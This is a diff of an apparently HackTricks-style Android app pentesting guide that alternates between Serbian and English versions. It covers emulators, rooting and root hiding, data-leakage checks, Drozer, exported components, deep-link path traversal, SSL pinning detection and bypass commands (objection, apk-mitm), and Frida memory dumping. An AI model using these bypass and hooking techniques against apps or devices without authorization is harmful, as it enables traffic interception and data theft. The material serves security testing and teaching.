native functions**](reversing-native-libraries.md) +- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call): -### **Other tricks** +{{#ref}} +in-memory-jni-shellcode-execution.md +{{#endref}} + +### **Drugi trikovi** {{#ref}} @@ -236,217 +241,221 @@ content-protocol.md ## Dinamička analiza -> Pre svega, potrebno je okruženje gde možete instalirati aplikaciju i sve komponente okruženja (Burp CA cert, Drozer i Frida pre svega). Stoga se toplo preporučuje rooted uređaj (emuliran ili ne). +> Pre svega, potrebna vam je okolina gde možete instalirati aplikaciju i svu okolinu (Burp CA cert, Drozer and Frida mainly). Stoga, rooted device (emuliran ili ne) je veoma preporučen. -### Online dinamička analiza +### Online Dynamic analysis -Možete napraviti **free account** na: [https://appetize.io/](https://appetize.io). Ova platforma omogućava da **upload** i **execute** APK-e, pa je korisna da vidite kako se apk ponaša. +You can create a **free account** in: [https://appetize.io/](https://appetize.io/). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. -Možete čak **videti logove vaše aplikacije** na webu i povezati se preko **adb**. +You can even **see the logs of your application** in the web and connect through **adb**. ![](<../../images/image (831).png>) -Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emulatora. +Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. ### Lokalna dinamička analiza #### Korišćenje emulatora -- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, i prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **novije x86** verzije **podržavaju ARM biblioteke** bez potrebe za sporim ARM emulatorom). -- Naučite kako da ga podesite na ovoj strani: +- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator). +- Learn to set it up in this page: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, potrebno je napraviti nalog. _Preporučeno je da **download** verziju **WITH** _**VirtualBox** da bi se izbegle potencijalne greške._) -- [**Nox**](https://es.bignox.com) (Free, ali ne podržava Frida ili Drozer). +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, you need to create an account. _It's recommend to **download** the version **WITH**_ _**VirtualBox** to avoid potential errors._) +- [**Nox**](https://es.bignox.com) (Free, but it doesn't support Frida or Drozer). > [!TIP] -> Kada kreirate novi emulator na bilo kojoj platformi zapamtite da veći ekran usporava emulatore. Zato izaberite male ekrane ako je moguće. +> When creating a new emulator on any platform remember that the bigger the screen is, the slower the emulator will run. So select small screens if possible. -Da biste **install google services** (kao AppStore) u Genymotion, potrebno je da kliknete na crveno označeno dugme na sledećoj slici: +To **install google services** (like AppStore) in Genymotion you need to click on the red marked button of the following image: ![](<../../images/image (277).png>) -Takođe, obratite pažnju da u **konfiguraciji Android VM-a u Genymotion-u** možete izabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM sa drugog VM-a sa alatima). +Also, notice that in the **configuration of the Android VM in Genymotion** you can select **Bridge Network mode** (this will be useful if you will be connecting to the Android VM from a different VM with the tools). -#### Korišćenje fizičkog uređaja +#### Use a physical device -Potrebno je aktivirati **debugging** opcije i poželjno je da možete **root** uređaj: +You need to activate the **debugging** options and it will be cool if you can **root** it: 1. **Settings**. -2. (FromAndroid 8.0) Izaberite **System**. -3. Izaberite **About phone**. -4. Pritisnite **Build number** 7 puta. -5. Vratite se i naći ćete **Developer options**. +2. (FromAndroid 8.0) Select **System**. +3. Select **About phone**. +4. Press **Build number** 7 times. +5. Go back and you will find the **Developer options**. -> Kada instalirate aplikaciju, prvo što treba da uradite je da je probate, istražite šta radi, kako funkcioniše i da se naviknete na nju.\ -> Predlažem da **obavite ovu početnu dinamičku analizu koristeći MobSF dynamic analysis + pidcat**, tako ćemo moći da **naučimo kako aplikacija radi** dok MobSF **hvata** mnogo **interesantnih** **podataka** koje možete kasnije pregledati. +> Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ +> I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so we will be able to **learn how the application works** while MobSF **captures** a lot of **interesting** **data** you can review later on. -Magisk/Zygisk kratke beleške (preporučeno na Pixel uređajima) -- Patch-ujte boot.img pomoću Magisk aplikacije i flash-ujte preko fastboot-a da dobijete systemless root -- Omogućite Zygisk + DenyList za skrivanje root-a; razmotrite LSPosed/Shamiko kada je potrebno jače skrivanje -- Sačuvajte originalni boot.img za oporavak posle OTA update-a; ponovo patch-ujte posle svakog OTA -- Za screen mirroring koristite scrcpy na hostu +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patch boot.img with the Magisk app and flash via fastboot to get systemless root +- Enable Zygisk + DenyList for root hiding; consider LSPosed/Shamiko when stronger hiding is required +- Keep original boot.img to recover from OTA updates; re-patch after each OTA +- For screen mirroring, use scrcpy on the host -### Neplanirano curenje podataka -**Logovanje** -Developeri treba da budu oprezni u izlaganju **debugging information** javno, jer to može dovesti do curenja osetljivih podataka. Preporučeni alati za praćenje logova aplikacije radi identifikacije i zaštite osetljivih informacija su [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat`. **Pidcat** se preferira zbog jednostavnosti upotrebe i preglednosti. +### Unintended Data Leakage + +**Logging** + +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> Imajte na umu da od **novijih verzija Android-a nakon 4.0**, **applications mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\ -> U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**. +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Android-ov **clipboard-based** framework omogućava funkcionalnost copy-paste u aplikacijama, ali predstavlja rizik jer **other applications** mogu **access** clipboard i time potencijalno otkriti osetljive podatke. Važno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, poput podataka o platnim karticama, kako bi se sprečilo curenje podataka. +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. **Crash Logs** -Ako aplikacija **crashes** i **saves logs**, ti logovi mogu pomoći napadačima, posebno kada aplikacija ne može da se reverzuje. Da biste smanjili ovaj rizik, izbegavajte logovanje prilikom crash-a, a ako logovi moraju biti poslati preko mreže, obezbedite da se šalju preko SSL kanala. +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. -Kao pentester, **try to take a look to these logs**. +As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -Aplikacije često integrišu servise kao što je Google Adsense, što može slučajno dovesti do **leak** osetljivih podataka zbog nepravilne implementacije od strane developera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **intercept** saobraćaj aplikacije i proverite da li se osetljivi podaci šalju trećim stranama. +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs -Većina aplikacija koristi **internal SQLite databases** za čuvanje informacija. Tokom pentesta pregledajte **databases** koje su kreirane, imena **tables** i **columns** i sve **data** u njima jer možete pronaći **sensitive information** (što bi predstavljalo ranjivost).\ -Baze bi trebalo da se nalaze u `/data/data/the.package.name/databases` kao npr. `/data/data/com.mwr.example.sieve/databases` +Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ +Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` -Ako baza čuva poverljive informacije i **encrypted** je, ali možete **find** **password** unutar aplikacije, i dalje je to **vulnerability**. +If the database is saving confidential information and is **encrypted b**ut you can **find** the **password** inside the application it's still a **vulnerability**. -Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema ` +Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -Prema [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **assume the role of an Android app** i komunicirate sa drugim aplikacijama. Može uraditi **anything that an installed application can do**, kao što je korišćenje Android-ovog Inter-Process Communication (IPC) mehanizma i interakcija sa osnovnim operativnim sistemom.\ -Drozer je koristan alat za **exploit exported activities, exported services and Content Providers** kao što ćete naučiti u narednim sekcijama. +From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ +Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -### Eksploatacija exported Activities +### Exploiting exported Activities [**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Takođe zapamtite da kod jedne activity počinje u **`onCreate`** metodi. +Also remember that the code of an activity starts in the **`onCreate`** method. **Authorisation bypass** -Kada je Activity exported, možete pozvati njegov ekran iz eksternе aplikacije. Dakle, ako je activity sa **sensitive information** exported, možete **bypass** **authentication** mehanizme da biste mu pristupili. +When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** [**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) -Takođe možete startovati exported activity preko adb: +You can also start an exported activity from adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF will detect as malicious the use of _**singleTask/singleInstance**_ as `android:launchMode` in an activity, but due to [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), apparently this is only dangerous on old versions (API versions < 21). +**NOTE**: MobSF će označiti kao maliciozno korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u activity-ju, ali zbog [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), izgleda da je ovo opasno samo na starijim verzijama (API versions < 21). > [!TIP] > Imajte na umu da authorisation bypass nije uvek ranjivost; zavisi od toga kako bypass funkcioniše i koje informacije su izložene. -**Sensitive information leakage** +**Otkrivanje osetljivih informacija** -Activities mogu takođe da vraćaju rezultate. Ako uspete da pronađete exported i unprotected activity koja poziva metod **`setResult`** i **returning sensitive information**, postoji sensitive information leakage. +**Activities takođe mogu vraćati rezultate**. Ako uspete da pronađete eksportovanu i nezaštićenu activity koja poziva **`setResult`** metodu i **vraća osetljive informacije**, dolazi do otkrivanja osetljivih informacija. #### Tapjacking -Ako Tapjacking nije sprečen, možete zloupotrebiti exported activity da naterate korisnika da izvrši **neočekivane akcije**. Za više informacija o [**what is Tapjacking follow the link**](#tapjacking). +Ako tapjacking nije sprečen, možete zloupotrebiti eksportovanu activity da naterate **korisnika da izvrši neočekivane akcije**. For more info about [**what is Tapjacking follow the link**](#tapjacking). -### Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploiting Content Providers - Pristup i manipulacija osetljivim informacijama [**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers se uglavnom koriste za **deljenje podataka**. Ako aplikacija ima dostupne Content providers, možda ćete moći da **extract sensitive** podatke iz njih. Takođe je korisno testirati moguće **SQL injections** i **Path Traversals**, jer oni mogu biti ranjivi. +Content providers se u osnovi koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providers možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je važno testirati moguće **SQL injections** i **Path Traversals** jer bi mogli biti ranjivi. [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\ -Zapamtite da radnje Service-a počinju u metodu `onStartCommand`. +Zapamtite da akcije Service-a počinju u metodi `onStartCommand`. -Service je u osnovi nešto što može da primi podatke, obradi ih i vrati (ili ne) odgovor. Dakle, ako aplikacija export-uje neke servise, trebalo bi da pregledate kod da biste razumeli šta radi i da ga testirate dinamički kako biste izvukli poverljive informacije, zaobišli mere autentifikacije...\ +Servis je u suštini nešto što **može primiti podatke**, **obraditi** ih i **vratiti** (ili ne) odgovor. Dakle, ako aplikacija eksportuje neke servise treba da **proverite** **kod** da biste shvatili šta rade i da ih **testirate** **dinamički** radi izvlačenja poverljivih informacija, zaobilaženja mera autentifikacije...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ -Zapamtite da radnje Broadcast Receiver-a počinju u metodu `onReceive`. +Zapamtite da akcije Broadcast Receiver-a počinju u metodi `onReceive`. -Broadcast receiver će čekati određenu vrstu poruke. U zavisnosti od toga kako receiver rukuje porukom, može biti ranjiv.\ +Broadcast receiver će čekati određenu vrstu poruke. U zavisnosti od toga kako receiver obrađuje poruku, može biti ranjiv.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Možete potražiti deep links ručno, koristeći alate kao MobSF ili skripte kao [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Možete otvoriti deklarisani scheme koristeći **adb** ili **browser**: +Možete tražiti deep links ručno, koristeći alate kao što su MobSF ili skripte poput [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Možete otvoriti deklarisani scheme koristeći adb ili browser: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Imajte na umu da možete **izostaviti naziv paketa** i mobilni će automatski pozvati aplikaciju koja treba da otvori taj link._ +_Imajte na umu da možete **izostaviti naziv paketa** i mobilni uređaj će automatski pozvati aplikaciju koja bi trebalo da otvori tu vezu._ ```html Click me with alternative ``` -**Kod koji će biti izvršen** +**Kod koji će se izvršiti** -Da biste pronašli **kod koji će biti izvršen u App**, idite na aktivnost koju poziva deeplink i potražite funkciju **`onNewIntent`**. +Da biste pronašli **kod koji će biti izvršen u App**, idite na activity koju poziva deeplink i potražite funkciju **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) **Osetljive informacije** -Svaki put kada pronađete deep link, proverite da li **ne prima osetljive podatke (poput lozinki) putem URL parametara**, jer bilo koja druga aplikacija može **lažno da se predstavi kao taj deep link i ukrade te podatke!** +Svakog puta kad pronađete deep link, proverite da li **ne prima osetljive podatke (npr. lozinke) putem URL parametara**, jer bilo koja druga aplikacija može **impersonate the deep link and steal that data!** **Parametri u putanji** -Obavezno proverite i da li neki deep link koristi parametar unutar putanje URL-a, npr.: `https://api.example.com/v1/users/{username}` , u tom slučaju možete forsirati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Obratite pažnju da, ako pronađete odgovarajuće endpoint-e unutar aplikacije, možete izazvati **Open Redirect** (ako se deo putanje koristi kao naziv domena), **account takeover** (ako možete izmeniti detalje korisnika bez CSRF tokena i ranjivi endpoint koristi odgovarajuću metodu) i druge vrste vuln-ova. Više [info about this here](http://dphoeniixx.com/2020/12/13-2/). +Morate takođe proveriti da li neki deep link koristi parametar unutar path-a URL-a kao: `https://api.example.com/v1/users/{username}`, u tom slučaju možete forsirati path traversal pristupom nečemu poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Napomena: ako pronađete odgovarajuće endpoint-e unutar aplikacije možete izazvati **Open Redirect** (ako je deo path-a korišćen kao domain name), **account takeover** (ako možete izmeniti detalje korisnika bez CSRF tokena i ranjivi endpoint koristi ispravan method) i bilo koju drugu vuln. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/). -An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). +**Još primera** -### Inspekcija transportnog sloja i propusti u verifikaciji +Zanimljiv [bug bounty izveštaj](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_). -- **Certificates are not always inspected properly** by Android applications. It's common for these applications to overlook warnings and accept self-signed certificates or, in some instances, revert to using HTTP connections. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, employing insecure cipher suites. This vulnerability makes the connection susceptible to man-in-the-middle (MITM) attacks, allowing attackers to decrypt the data. -- Otkrivanje privatnih informacija predstavlja rizik kada aplikacije autentifikuju koristeći secure channels ali zatim komuniciraju preko non-secure kanala za druge transakcije. Ovakav pristup ne uspeva da zaštiti osetljive podatke, kao što su session cookies ili detalji korisnika, od presretanja od strane zlonamernih entiteta. +### Inspekcija transportnog sloja i greške u verifikaciji -#### Provera sertifikata +- **Sertifikati nisu uvek pravilno proveravani** od strane Android aplikacija. Često ove aplikacije zanemare upozorenja i prihvate self-signed sertifikate ili, u nekim slučajevima, vrate se na korišćenje HTTP konekcija. +- **Pregovori tokom SSL/TLS handshake-a su ponekad slabi**, koristeći nesigurne cipher suite-ove. Ova ranjivost čini konekciju podložnom man-in-the-middle (MITM) napadima, što omogućava napadačima da dekriptuju podatke. +- **Leakage of private information** predstavlja rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali potom komuniciraju putem nesigurnih kanala za druge transakcije. Ovakav pristup ne uspeva da zaštiti osetljive podatke, kao što su session cookies ili korisnički podaci, od presretanja od strane malicioznih entiteta. -Usredsredićemo se na **proveru sertifikata**. Integritet serverovog sertifikata mora biti verifikovan kako bi se poboljšala bezbednost. Ovo je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko neenkriptovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o verifikaciji server sertifikata i rešavanju ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatne smernice. +#### Verifikacija sertifikata + +Usredsredićemo se na **verifikaciju sertifikata**. Integritet serverovog sertifikata mora biti verifikovan radi poboljšanja bezbednosti. Ovo je ključno jer nesigurne TLS konfiguracije i prenos osetljivih podataka preko nešifrovanih kanala mogu predstavljati značajne rizike. Za detaljne korake o verifikaciji server sertifikata i otklanjanju ranjivosti, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) pruža sveobuhvatne smernice. #### SSL Pinning -SSL Pinning je bezbednosna mera u kojoj aplikacija verifikuje serverov sertifikat naspram poznate kopije uskladištene u samoj aplikaciji. Ova metoda je ključna za sprečavanje MITM napada. Preporučuje se implementacija SSL Pinning-a za aplikacije koje obrađuju osetljive informacije. +SSL Pinning je mera bezbednosti gde aplikacija verifikuje serverov sertifikat upoređujući ga sa poznatom kopijom koju čuva unutar same aplikacije. Ova metoda je bitna za sprečavanje MITM napada. Implementacija SSL Pinning-a se toplo preporučuje za aplikacije koje rade sa osetljivim informacijama. #### Inspekcija saobraćaja -Za inspekciju HTTP saobraćaja, neophodno je **instalirati sertifikat proxy alata** (npr. Burp). Bez instaliranja tog sertifikata, enkriptovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instaliranju custom CA sertifikata, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Da biste inspekciju HTTP saobraćaja izvršili, neophodno je da instalirate sertifikat proxy alata (npr. Burp). Bez instalacije ovog sertifikata, enkriptovani saobraćaj možda neće biti vidljiv preko proxy-a. Za vodič o instalaciji custom CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacije koje targetiraju **API Level 24 and above** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proxy-ja. Ovaj korak je kritičan za inspekciju enkriptovanog saobraćaja. Za instrukcije o izmeni Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). +Aplikacije koje targetiraju **API Level 24 and above** zahtevaju izmene u Network Security Config da prihvate CA sertifikat proxy-a. Ovaj korak je kritičan za inspekciju enkriptovanog saobraćaja. Za instrukcije o izmeni Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md). -Ako se koristi **Flutter**, potrebno je pratiti instrukcije na [**this page**](flutter.md). Ovo je zato što samo dodavanje sertifikata u store neće raditi, jer Flutter ima sopstvenu listu važećih CA. +Ako se koristi **Flutter**, treba da pratite instrukcije na [**ovu stranicu**](flutter.md). To je zato što samo dodavanje sertifikata u store neće raditi, jer Flutter ima sopstvenu listu validnih CAs. -#### Statička detekcija SSL/TLS pinning +#### Statičko otkrivanje SSL/TLS pinninga -Pre nego što pokušate runtime bypass-ove, brzo mapirajte gde se pinning primenjuje u APK-u. Statičko otkrivanje pomaže da isplanirate hooks/patches i da se fokusirate na prave putanje koda. +Pre nego što pokušate runtime bypass-e, brzo mapirajte gde je pinning primenjen u APK-u. Statičko otkrivanje pomaže da planirate hooks/patches i da se fokusirate na prave code paths. Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +- Open-source static-analysis utility koja dekompajlira APK u Smali (via apktool) i skenira za kurirane regex patterns of SSL/TLS pinning implementations. +- Izveštava tačnu putanju fajla, broj linije i code snippet za svaki match. +- Pokriva common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. Install -- Zahtevi: Python >= 3.8, Java on PATH, apktool +- Prereqs: Python >= 3.8, Java on PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -461,7 +470,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Primer pravila obrazaca (JSON) -Koristite ili proširite signatures da otkrijete proprietary/custom pinning styles. Možete učitati sopstveni JSON i scan at scale. +Koristite ili proširite signatures da biste otkrili vlasničke/prilagođene pinning stilove. Možete učitati sopstveni JSON i skenirati na velikoj skali. ```json { "OkHttp Certificate Pinning": [ @@ -476,44 +485,44 @@ Koristite ili proširite signatures da otkrijete proprietary/custom pinning styl } ``` Napomene i saveti -- Brzo skeniranje velikih aplikacija putem multi-threading i memory-mapped I/O; pre-compiled regex smanjuje overhead/false positives. +- Brzo skeniranje velikih aplikacija preko multi-threadinga i memory-mapped I/O; pre-compiled regex smanjuje overhead/false positives. - Kolekcija patterna: https://github.com/aancw/smali-sslpin-patterns -- Tipični ciljevi detekcije za dalju trijažu: +- Tipični ciljevi za dalju trijažu: - OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- Koristite pronađene lokacije za planiranje Frida hooks, static patches, ili pregleda konfiguracija pre dynamic testing. +- Prilagođeni TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides +- Prilagođeni SSL konteksti: SSLContext.getInstance + SSLContext.init with custom managers +- Deklarativni pins u res/xml network security config i manifest references +- Koristite poklapanja lokacija za planiranje Frida hooks, static patches, ili pregleda konfiguracije pre dinamičkog testiranja. -#### Bypassing SSL Pinning +#### Zaobilaženje SSL Pinninga -When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose: +Kada je SSL Pinning implementiran, njegovo zaobilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu: -- Automatically **modify** the **apk** to **bypass** SSLPinning with [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). The best pro of this option, is that you won't need root to bypass the SSL Pinning, but you will need to delete the application and reinstall the new one, and this won't always work. -- You could use **Frida** (discussed below) to bypass this protection. Here you have a guide to use Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- You can also try to **automatically bypass SSL Pinning** using [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- You can also try to **automatically bypass SSL Pinning** using **MobSF dynamic analysis** (explained below) -- If you still think that there is some traffic that you aren't capturing you can try to **forward the traffic to burp using iptables**. Read this blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatski **modifikujte** **apk** da biste **zaobišli** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće trebati root da zaobiđete SSL Pinning, ali moraćete obrisati aplikaciju i ponovo instalirati novu, i ovo neće uvek raditi. +- Možete koristiti **Frida** (razgovarano ispod) da zaobiđete ovu zaštitu. Ovde je vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dynamic analysis** (objašnjeno dole) +- Ako i dalje mislite da postoji saobraćaj koji ne beležite, možete pokušati da **prosledite saobraćaj na Burp koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Traženje uobičajenih web ranjivosti +#### Potraga za uobičajenim web ranjivostima -Važno je takođe pretražiti aplikaciju za uobičajene web ranjivosti. Detaljna objašnjenja kako ih identifikovati i ublažiti su van opsega ovog rezimea, ali su detaljno obrađena drugde. +Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljne informacije o identifikaciji i mitigaciji ovih ranjivosti prelaze okvir ovog rezimea, ali su opširno obrađene na drugim mestima. ### Frida -[Frida](https://www.frida.re) is a dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.\ -**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da biste promenili ponašanje, promenili vrednosti, ekstrahovali vrednosti, izvršili drugačiji kod...**\ -Ako želite pentest Android applications morate znati kako koristiti Frida. +[Frida](https://www.frida.re) je dinamički alat za instrumentaciju za developere, reverse-enginere i istraživače bezbednosti.\ +**Možete pristupiti pokrenutoj aplikaciji i hook-ovati metode u runtime-u da promenite ponašanje, promenite vrednosti, izvučete vrednosti, izvršite drugačiji kod...**\ +Ako želite da pentestirate Android aplikacije morate znati kako da koristite Frida. -- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Try to bypass anti-debugging / anti-frida mechanisms loading Frida as in indicated in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (tool [linjector](https://github.com/erfur/linjector-rs)) +- Naučite kako koristiti Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Neki "GUI" za rad sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Možete pronaći neke Awesome Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Pokušajte da zaobiđete anti-debugging / anti-frida mehanizme učitavanjem Frida kako je navedeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass workflow +#### Anti-instrumentation i workflow za zaobilaženje SSL pinninga {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -532,120 +541,120 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -Ovo će napraviti dump memorije u ./dump 